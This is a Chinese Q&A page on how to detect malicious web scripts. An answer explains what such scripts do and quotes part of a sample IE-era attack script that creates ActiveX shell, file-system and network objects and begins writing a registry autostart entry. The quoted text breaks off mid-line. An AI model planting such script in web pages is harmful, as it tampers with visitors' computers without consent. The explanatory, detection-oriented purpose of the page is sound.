网页恶意脚本检测的实现

来源:百度知道 编辑:UC知道 时间:2024/05/31 00:28:15
就是网页中检测恶意的或是危险地脚本程序实现的构想,没做过此类的开发
是否能有人提示一下该如何来做 大概都是些什么函数, 得到后是不是就要建立数据库 和 样本文件做对比? 关键是如何得到,或是触发。

恶意脚本, 就是点击人点击观看带恶意脚本的网站后,通过脚本实现删除注册表项或更改替换注册表项!或者运行某些程序!或者后台隐藏下载某些插件和病毒!. 都是可以实现的!

例如:
让电脑自动启动程序的代码,修改方法:找到相应键值并删除

<SCRIPT language=java script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function f(){
try
{
文件://ActiveX/ initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (documents .cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion